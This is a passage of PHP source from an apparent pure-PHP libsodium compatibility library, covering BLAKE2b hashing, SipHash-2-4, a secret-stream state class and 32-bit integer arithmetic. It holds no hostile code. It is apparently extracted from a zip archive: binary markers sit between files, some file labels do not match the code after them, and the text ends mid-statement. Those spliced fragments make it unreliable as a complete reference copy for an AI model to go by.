$ctx[5] = 0; // last_node (uint8_t) for ($i = 8; $i--;) { $ctx[0][$i] = self::$iv[$i]; } for ($i = 256; $i--;) { $ctx[3][$i] = 0; } $zero = self::new64(0, 0); $ctx[1][0] = $zero; $ctx[1][1] = $zero; $ctx[2][0] = $zero; $ctx[2][1] = $zero; return $ctx; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $buf * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedAssignment */ protected static function compress(SplFixedArray $ctx, SplFixedArray $buf) { $m = new SplFixedArray(16); $v = new SplFixedArray(16); for ($i = 16; $i--;) { $m[$i] = self::load64($buf, $i << 3); } for ($i = 8; $i--;) { $v[$i] = $ctx[0][$i]; } $v[ 8] = self::$iv[0]; $v[ 9] = self::$iv[1]; $v[10] = self::$iv[2]; $v[11] = self::$iv[3]; $v[12] = self::xor64($ctx[1][0], self::$iv[4]); $v[13] = self::xor64($ctx[1][1], self::$iv[5]); $v[14] = self::xor64($ctx[2][0], self::$iv[6]); $v[15] = self::xor64($ctx[2][1], self::$iv[7]); for ($r = 0; $r < 12; ++$r) { $v = self::G($r, 0, 0, 4, 8, 12, $v, $m); $v = self::G($r, 1, 1, 5, 9, 13, $v, $m); $v = self::G($r, 2, 2, 6, 10, 14, $v, $m); $v = self::G($r, 3, 3, 7, 11, 15, $v, $m); $v = self::G($r, 4, 0, 5, 10, 15, $v, $m); $v = self::G($r, 5, 1, 6, 11, 12, $v, $m); $v = self::G($r, 6, 2, 7, 8, 13, $v, $m); $v = self::G($r, 7, 3, 4, 9, 14, $v, $m); } for ($i = 8; $i--;) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::xor64($v[$i], $v[$i+8]) ); } } /** * @internal You should not use this directly from another application * * @param int $r * @param int $i * @param int $a * @param int $b * @param int $c * @param int $d * @param SplFixedArray $v * @param SplFixedArray $m * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m) { $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24); $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63); return $v; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param int $inc * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function increment_counter($ctx, $inc) { if ($inc < 0) { throw new SodiumException('Increasing by a negative number makes no sense.'); } $t = self::to64($inc); # S->t is $ctx[1] in our implementation # S->t[0] = ( uint64_t )( t >> 0 ); $ctx[1][0] = self::add64($ctx[1][0], $t); # S->t[1] += ( S->t[0] < inc ); if (!($ctx[1][0] instanceof ParagonIE_Sodium_Core32_Int64)) { throw new TypeError('Not an int64'); } /** @var ParagonIE_Sodium_Core32_Int64 $c*/ $c = $ctx[1][0]; if ($c->isLessThanInt($inc)) { $ctx[1][1] = self::add64($ctx[1][1], self::to64(1)); } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $p * @param int $plen * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall * @psalm-suppress MixedOperand */ public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen) { self::pseudoConstructor(); $offset = 0; while ($plen > 0) { $left = $ctx[4]; $fill = 256 - $left; if ($plen > $fill) { # memcpy( S->buf + left, in, fill ); /* Fill buffer */ for ($i = $fill; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } # S->buflen += fill; $ctx[4] += $fill; # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES ); self::increment_counter($ctx, 128); # blake2b_compress( S, S->buf ); /* Compress */ self::compress($ctx, $ctx[3]); # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */ for ($i = 128; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } # S->buflen -= BLAKE2B_BLOCKBYTES; $ctx[4] -= 128; # in += fill; $offset += $fill; # inlen -= fill; $plen -= $fill; } else { for ($i = $plen; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } $ctx[4] += $plen; $offset += $plen; $plen -= $plen; } } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $out * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall * @psalm-suppress MixedOperand */ public static function finish(SplFixedArray $ctx, SplFixedArray $out) { self::pseudoConstructor(); if ($ctx[4] > 128) { self::increment_counter($ctx, 128); self::compress($ctx, $ctx[3]); $ctx[4] -= 128; if ($ctx[4] > 128) { throw new SodiumException('Failed to assert that buflen <= 128 bytes'); } for ($i = $ctx[4]; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } } self::increment_counter($ctx, $ctx[4]); $ctx[2][0] = self::new64(0xffffffff, 0xffffffff); for ($i = 256 - $ctx[4]; $i--;) { /** @var int $i */ $ctx[3][$i + $ctx[4]] = 0; } self::compress($ctx, $ctx[3]); $i = (int) (($out->getSize() - 1) / 8); for (; $i >= 0; --$i) { self::store64($out, $i << 3, $ctx[0][$i]); } return $out; } /** * @internal You should not use this directly from another application * * @param SplFixedArray|null $key * @param int $outlen * @param SplFixedArray|null $salt * @param SplFixedArray|null $personal * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedMethodCall */ public static function init( $key = null, $outlen = 64, $salt = null, $personal = null ) { self::pseudoConstructor(); $klen = 0; if ($key !== null) { if (count($key) > 64) { throw new SodiumException('Invalid key size'); } $klen = count($key); } if ($outlen > 64) { throw new SodiumException('Invalid output size'); } $ctx = self::context(); $p = new SplFixedArray(64); // Zero our param buffer... for ($i = 64; --$i;) { $p[$i] = 0; } $p[0] = $outlen; // digest_length $p[1] = $klen; // key_length $p[2] = 1; // fanout $p[3] = 1; // depth if ($salt instanceof SplFixedArray) { // salt: [32] through [47] for ($i = 0; $i < 16; ++$i) { $p[32 + $i] = (int) $salt[$i]; } } if ($personal instanceof SplFixedArray) { // personal: [48] through [63] for ($i = 0; $i < 16; ++$i) { $p[48 + $i] = (int) $personal[$i]; } } $ctx[0][0] = self::xor64( $ctx[0][0], self::load64($p, 0) ); if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) { // We need to do what blake2b_init_param() does: for ($i = 1; $i < 8; ++$i) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::load64($p, $i << 3) ); } } if ($klen > 0 && $key instanceof SplFixedArray) { $block = new SplFixedArray(128); for ($i = 128; $i--;) { $block[$i] = 0; } for ($i = $klen; $i--;) { $block[$i] = $key[$i]; } self::update($ctx, $block, 128); $ctx[4] = 128; } return $ctx; } /** * Convert a string into an SplFixedArray of integers * * @internal You should not use this directly from another application * * @param string $str * @return SplFixedArray * @psalm-suppress MixedArgumentTypeCoercion */ public static function stringToSplFixedArray($str = '') { $values = unpack('C*', $str); return SplFixedArray::fromArray(array_values($values)); } /** * Convert an SplFixedArray of integers into a string * * @internal You should not use this directly from another application * * @param SplFixedArray $a * @return string */ public static function SplFixedArrayToString(SplFixedArray $a) { /** * @var array */ $arr = $a->toArray(); $c = $a->count(); array_unshift($arr, str_repeat('C', $c)); return (string) (call_user_func_array('pack', $arr)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @return string * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedMethodCall */ public static function contextToString(SplFixedArray $ctx) { $str = ''; /** @var array $ctxA */ $ctxA = $ctx[0]->toArray(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { if (!($ctxA[$i] instanceof ParagonIE_Sodium_Core32_Int64)) { throw new TypeError('Not an instance of Int64'); } /** @var ParagonIE_Sodium_Core32_Int64 $ctxAi */ $ctxAi = $ctxA[$i]; $str .= $ctxAi->toReverseString(); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { /** @var array $ctxA */ $ctxA = $ctx[$i]->toArray(); /** @var ParagonIE_Sodium_Core32_Int64 $ctxA1 */ $ctxA1 = $ctxA[0]; /** @var ParagonIE_Sodium_Core32_Int64 $ctxA2 */ $ctxA2 = $ctxA[1]; $str .= $ctxA1->toReverseString(); $str .= $ctxA2->toReverseString(); } # uint8_t buf[2 * 128]; $str .= self::SplFixedArrayToString($ctx[3]); /** @var int $ctx4 */ $ctx4 = $ctx[4]; # size_t buflen; $str .= implode('', array( self::intToChr($ctx4 & 0xff), self::intToChr(($ctx4 >> 8) & 0xff), self::intToChr(($ctx4 >> 16) & 0xff), self::intToChr(($ctx4 >> 24) & 0xff), "\x00\x00\x00\x00" /* self::intToChr(($ctx4 >> 32) & 0xff), self::intToChr(($ctx4 >> 40) & 0xff), self::intToChr(($ctx4 >> 48) & 0xff), self::intToChr(($ctx4 >> 56) & 0xff) */ )); # uint8_t last_node; return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23); } /** * Creates an SplFixedArray containing other SplFixedArray elements, from * a string (compatible with \Sodium\crypto_generichash_{init, update, final}) * * @internal You should not use this directly from another application * * @param string $string * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function stringToContext($string) { $ctx = self::context(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $ctx[0][$i] = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($string, (($i << 3) + 0), 8) ); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctx[$i][1] = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($string, 72 + (($i - 1) << 4), 8) ); $ctx[$i][0] = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($string, 64 + (($i - 1) << 4), 8) ); } # uint8_t buf[2 * 128]; $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256)); # uint8_t buf[2 * 128]; $int = 0; for ($i = 0; $i < 8; ++$i) { $int |= self::chrToInt($string[352 + $i]) << ($i << 3); } $ctx[4] = $int; return $ctx; } } PK![(src/Core32/SipHash.phpnu[ $v * @return array */ public static function sipRound(array $v) { # v0 += v1; $v[0] = $v[0]->addInt64($v[1]); # v1 = ROTL(v1, 13); $v[1] = $v[1]->rotateLeft(13); # v1 ^= v0; $v[1] = $v[1]->xorInt64($v[0]); # v0=ROTL(v0,32); $v[0] = $v[0]->rotateLeft(32); # v2 += v3; $v[2] = $v[2]->addInt64($v[3]); # v3=ROTL(v3,16); $v[3] = $v[3]->rotateLeft(16); # v3 ^= v2; $v[3] = $v[3]->xorInt64($v[2]); # v0 += v3; $v[0] = $v[0]->addInt64($v[3]); # v3=ROTL(v3,21); $v[3] = $v[3]->rotateLeft(21); # v3 ^= v0; $v[3] = $v[3]->xorInt64($v[0]); # v2 += v1; $v[2] = $v[2]->addInt64($v[1]); # v1=ROTL(v1,17); $v[1] = $v[1]->rotateLeft(17); # v1 ^= v2; $v[1] = $v[1]->xorInt64($v[2]); # v2=ROTL(v2,32) $v[2] = $v[2]->rotateLeft(32); return $v; } /** * @internal You should not use this directly from another application * * @param string $in * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function sipHash24($in, $key) { $inlen = self::strlen($in); # /* "somepseudorandomlygeneratedbytes" */ # u64 v0 = 0x736f6d6570736575ULL; # u64 v1 = 0x646f72616e646f6dULL; # u64 v2 = 0x6c7967656e657261ULL; # u64 v3 = 0x7465646279746573ULL; $v = array( new ParagonIE_Sodium_Core32_Int64( array(0x736f, 0x6d65, 0x7073, 0x6575) ), new ParagonIE_Sodium_Core32_Int64( array(0x646f, 0x7261, 0x6e64, 0x6f6d) ), new ParagonIE_Sodium_Core32_Int64( array(0x6c79, 0x6765, 0x6e65, 0x7261) ), new ParagonIE_Sodium_Core32_Int64( array(0x7465, 0x6462, 0x7974, 0x6573) ) ); # u64 k0 = LOAD64_LE( k ); # u64 k1 = LOAD64_LE( k + 8 ); $k = array( ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($key, 0, 8) ), ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($key, 8, 8) ) ); # b = ( ( u64 )inlen ) << 56; $b = new ParagonIE_Sodium_Core32_Int64( array(($inlen << 8) & 0xffff, 0, 0, 0) ); # v3 ^= k1; $v[3] = $v[3]->xorInt64($k[1]); # v2 ^= k0; $v[2] = $v[2]->xorInt64($k[0]); # v1 ^= k1; $v[1] = $v[1]->xorInt64($k[1]); # v0 ^= k0; $v[0] = $v[0]->xorInt64($k[0]); $left = $inlen; # for ( ; in != end; in += 8 ) while ($left >= 8) { # m = LOAD64_LE( in ); $m = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($in, 0, 8) ); # v3 ^= m; $v[3] = $v[3]->xorInt64($m); # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= m; $v[0] = $v[0]->xorInt64($m); $in = self::substr($in, 8); $left -= 8; } # switch( left ) # { # case 7: b |= ( ( u64 )in[ 6] ) << 48; # case 6: b |= ( ( u64 )in[ 5] ) << 40; # case 5: b |= ( ( u64 )in[ 4] ) << 32; # case 4: b |= ( ( u64 )in[ 3] ) << 24; # case 3: b |= ( ( u64 )in[ 2] ) << 16; # case 2: b |= ( ( u64 )in[ 1] ) << 8; # case 1: b |= ( ( u64 )in[ 0] ); break; # case 0: break; # } switch ($left) { case 7: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( 0, self::chrToInt($in[6]) << 16 ) ); case 6: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( 0, self::chrToInt($in[5]) << 8 ) ); case 5: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( 0, self::chrToInt($in[4]) ) ); case 4: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[3]) << 24, 0 ) ); case 3: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[2]) << 16, 0 ) ); case 2: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[1]) << 8, 0 ) ); case 1: $b = $b->orInt64( ParagonIE_Sodium_Core32_Int64::fromInts( self::chrToInt($in[0]), 0 ) ); case 0: break; } # v3 ^= b; $v[3] = $v[3]->xorInt64($b); # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); # v0 ^= b; $v[0] = $v[0]->xorInt64($b); // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation # v2 ^= 0xff; $v[2]->limbs[3] ^= 0xff; # SIPROUND; # SIPROUND; # SIPROUND; # SIPROUND; $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); $v = self::sipRound($v); # b = v0 ^ v1 ^ v2 ^ v3; # STORE64_LE( out, b ); return $v[0] ->xorInt64($v[1]) ->xorInt64($v[2]) ->xorInt64($v[3]) ->toReverseString(); } } PK!ڨ~Tsrc/Core32/Util.phpnu[key = $key; $this->counter = 1; if (is_null($nonce)) { $nonce = str_repeat("\0", 12); } $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);; $this->_pad = str_repeat("\0", 4); } /** * @return self */ public function counterReset() { $this->counter = 1; $this->_pad = str_repeat("\0", 4); return $this; } /** * @return string */ public function getKey() { return $this->key; } /** * @return string */ public function getCounter() { return ParagonIE_Sodium_Core32_Util::store32_le($this->counter); } /** * @return string */ public function getNonce() { if (!is_string($this->nonce)) { $this->nonce = str_repeat("\0", 12); } if (ParagonIE_Sodium_Core32_Util::strlen($this->nonce) !== 12) { $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT); } return $this->nonce; } /** * @return string */ public function getCombinedNonce() { return $this->getCounter() . ParagonIE_Sodium_Core32_Util::substr($this->getNonce(), 0, 8); } /** * @return self */ public function incrementCounter() { ++$this->counter; return $this; } /** * @return bool */ public function needsRekey() { return ($this->counter & 0xffff) === 0; } /** * @param string $newKeyAndNonce * @return self */ public function rekey($newKeyAndNonce) { $this->key = ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 0, 32); $this->nonce = str_pad( ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 32), 12, "\0", STR_PAD_RIGHT ); return $this; } /** * @param string $str * @return self */ public function xorNonce($str) { $this->nonce = ParagonIE_Sodium_Core32_Util::xorStrings( $this->getNonce(), str_pad( ParagonIE_Sodium_Core32_Util::substr($str, 0, 8), 12, "\0", STR_PAD_RIGHT ) ); return $this; } /** * @param string $string * @return self */ public static function fromString($string) { $state = new ParagonIE_Sodium_Core32_SecretStream_State( ParagonIE_Sodium_Core32_Util::substr($string, 0, 32) ); $state->counter = ParagonIE_Sodium_Core32_Util::load_4( ParagonIE_Sodium_Core32_Util::substr($string, 32, 4) ); $state->nonce = ParagonIE_Sodium_Core32_Util::substr($string, 36, 12); $state->_pad = ParagonIE_Sodium_Core32_Util::substr($string, 48, 8); return $state; } /** * @return string */ public function toString() { return $this->key . $this->getCounter() . $this->nonce . $this->_pad; } } PK!```src/Core32/Int32.phpnu[ - two 16-bit integers * * 0 is the higher 16 bits * 1 is the lower 16 bits */ public $limbs = array(0, 0); /** * @var int */ public $overflow = 0; /** * @var bool */ public $unsignedInt = false; /** * ParagonIE_Sodium_Core32_Int32 constructor. * @param array $array * @param bool $unsignedInt */ public function __construct($array = array(0, 0), $unsignedInt = false) { $this->limbs = array( (int) $array[0], (int) $array[1] ); $this->overflow = 0; $this->unsignedInt = $unsignedInt; } /** * Adds two int32 objects * * @param ParagonIE_Sodium_Core32_Int32 $addend * @return ParagonIE_Sodium_Core32_Int32 */ public function addInt32(ParagonIE_Sodium_Core32_Int32 $addend) { $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $j0 = $addend->limbs[0]; $j1 = $addend->limbs[1]; $r1 = $i1 + ($j1 & 0xffff); $carry = $r1 >> 16; $r0 = $i0 + ($j0 & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int32( array($r0, $r1) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * Adds a normal integer to an int32 object * * @param int $int * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function addInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $int = (int) $int; $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $r1 = $i1 + ($int & 0xffff); $carry = $r1 >> 16; $r0 = $i0 + (($int >> 16) & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int32( array($r0, $r1) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param int $b * @return int */ public function compareInt($b = 0) { $gt = 0; $eq = 1; $i = 2; $j = 0; while ($i > 0) { --$i; /** @var int $x1 */ $x1 = $this->limbs[$i]; /** @var int $x2 */ $x2 = ($b >> ($j << 4)) & 0xffff; /** @var int $gt */ $gt |= (($x2 - $x1) >> 8) & $eq; /** @var int $eq */ $eq &= (($x2 ^ $x1) - 1) >> 8; } return ($gt + $gt - $eq) + 1; } /** * @param int $m * @return ParagonIE_Sodium_Core32_Int32 */ public function mask($m = 0) { /** @var int $hi */ $hi = ((int) $m >> 16); $hi &= 0xffff; /** @var int $lo */ $lo = ((int) $m) & 0xffff; return new ParagonIE_Sodium_Core32_Int32( array( (int) ($this->limbs[0] & $hi), (int) ($this->limbs[1] & $lo) ), $this->unsignedInt ); } /** * @param array $a * @param array $b * @param int $baseLog2 * @return array */ public function multiplyLong(array $a, array $b, $baseLog2 = 16) { $a_l = count($a); $b_l = count($b); /** @var array $r */ $r = array_fill(0, $a_l + $b_l + 1, 0); $base = 1 << $baseLog2; for ($i = 0; $i < $a_l; ++$i) { $a_i = $a[$i]; for ($j = 0; $j < $a_l; ++$j) { $b_j = $b[$j]; $product = ($a_i * $b_j) + $r[$i + $j]; $carry = ((int) $product >> $baseLog2 & 0xffff); $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff; $r[$i + $j + 1] += $carry; } } return array_slice($r, 0, 5); } /** * @param int $int * @return ParagonIE_Sodium_Core32_Int32 */ public function mulIntFast($int) { // Handle negative numbers $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($int >> 31) & 1; $a = array_reverse($this->limbs); $b = array( $int & 0xffff, ($int >> 16) & 0xffff ); if ($aNeg) { for ($i = 0; $i < 2; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 2; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } // Multiply $res = $this->multiplyLong($a, $b); // Re-apply negation to results if ($aNeg !== $bNeg) { for ($i = 0; $i < 2; ++$i) { $res[$i] = (0xffff ^ $res[$i]) & 0xffff; } // Handle integer overflow $c = 1; for ($i = 0; $i < 2; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } // Return our values $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs = array( $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 2) { $return->overflow = $res[2] & 0xffff; } $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param ParagonIE_Sodium_Core32_Int32 $right * @return ParagonIE_Sodium_Core32_Int32 */ public function mulInt32Fast(ParagonIE_Sodium_Core32_Int32 $right) { $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($right->limbs[0] >> 15) & 1; $a = array_reverse($this->limbs); $b = array_reverse($right->limbs); if ($aNeg) { for ($i = 0; $i < 2; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 2; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } $res = $this->multiplyLong($a, $b); if ($aNeg !== $bNeg) { if ($aNeg !== $bNeg) { for ($i = 0; $i < 2; ++$i) { $res[$i] = ($res[$i] ^ 0xffff) & 0xffff; } $c = 1; for ($i = 0; $i < 2; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } } $return = new ParagonIE_Sodium_Core32_Int32(); $return->limbs = array( $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 2) { $return->overflow = $res[2]; } return $return; } /** * @param int $int * @param int $size * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function mulInt($int = 0, $size = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulIntFast((int) $int); } /** @var int $int */ $int = (int) $int; /** @var int $size */ $size = (int) $size; if (!$size) { $size = 31; } /** @var int $size */ $a = clone $this; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $m = (int) (-($int & 1)); $x0 = $a0 & $m; $x1 = $a1 & $m; $ret1 += $x1; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $a1 = ($a1 << 1); $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $int >>= 1; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; return $return; } /** * @param ParagonIE_Sodium_Core32_Int32 $int * @param int $size * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function mulInt32(ParagonIE_Sodium_Core32_Int32 $int, $size = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulInt32Fast($int); } if (!$size) { $size = 31; } /** @var int $size */ $a = clone $this; $b = clone $int; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $b0 = $b->limbs[0]; $b1 = $b->limbs[1]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $m = (int) (-($b1 & 1)); $x0 = $a0 & $m; $x1 = $a1 & $m; $ret1 += $x1; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $a1 = ($a1 << 1); $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $x0 = ($b0 & 1) << 16; $b0 = ($b0 >> 1); $b1 = (($b1 | $x0) >> 1); $b0 &= 0xffff; $b1 &= 0xffff; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; return $return; } /** * OR this 32-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int32 $b * @return ParagonIE_Sodium_Core32_Int32 */ public function orInt32(ParagonIE_Sodium_Core32_Int32 $b) { $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] | $b->limbs[0]), (int) ($this->limbs[1] | $b->limbs[1]) ); /** @var int overflow */ $return->overflow = $this->overflow | $b->overflow; return $return; } /** * @param int $b * @return bool */ public function isGreaterThan($b = 0) { return $this->compareInt($b) > 0; } /** * @param int $b * @return bool */ public function isLessThanInt($b = 0) { return $this->compareInt($b) < 0; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 31; if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var int $c */ /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 1; /** @var int $sub_shift */ $sub_shift = $c & 15; /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; for ($i = 1; $i >= 0; --$i) { /** @var int $j */ $j = ($i + $idx_shift) & 1; /** @var int $k */ $k = ($i + $idx_shift + 1) & 1; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) << $sub_shift) | ((int) ($myLimbs[$k]) >> (16 - $sub_shift)) ) & 0xffff ); } } return $return; } /** * Rotate to the right * * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateRight($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 31; /** @var int $c */ if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var int $c */ /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 1; /** @var int $sub_shift */ $sub_shift = $c & 15; /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; for ($i = 1; $i >= 0; --$i) { /** @var int $j */ $j = ($i - $idx_shift) & 1; /** @var int $k */ $k = ($i - $idx_shift - 1) & 1; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) >> (int) ($sub_shift)) | ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift))) ) & 0xffff ); } } return $return; } /** * @param bool $bool * @return self */ public function setUnsignedInt($bool = false) { $this->unsignedInt = !empty($bool); return $this; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int32 * @throws SodiumException * @throws TypeError */ public function shiftLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int32(); $return->unsignedInt = $this->unsignedInt; $c &= 63; /** @var int $c */ if ($c === 0) { $return->limbs = $this->limbs; } elseif ($c < 0) { /** @var int $c */ return $this->shiftRight(-$c); } else { /** @var int $c */ /** @var int $tmp */ $tmp = $this->limbs[1] << $c; $return->limbs[1] = (int)($tmp & 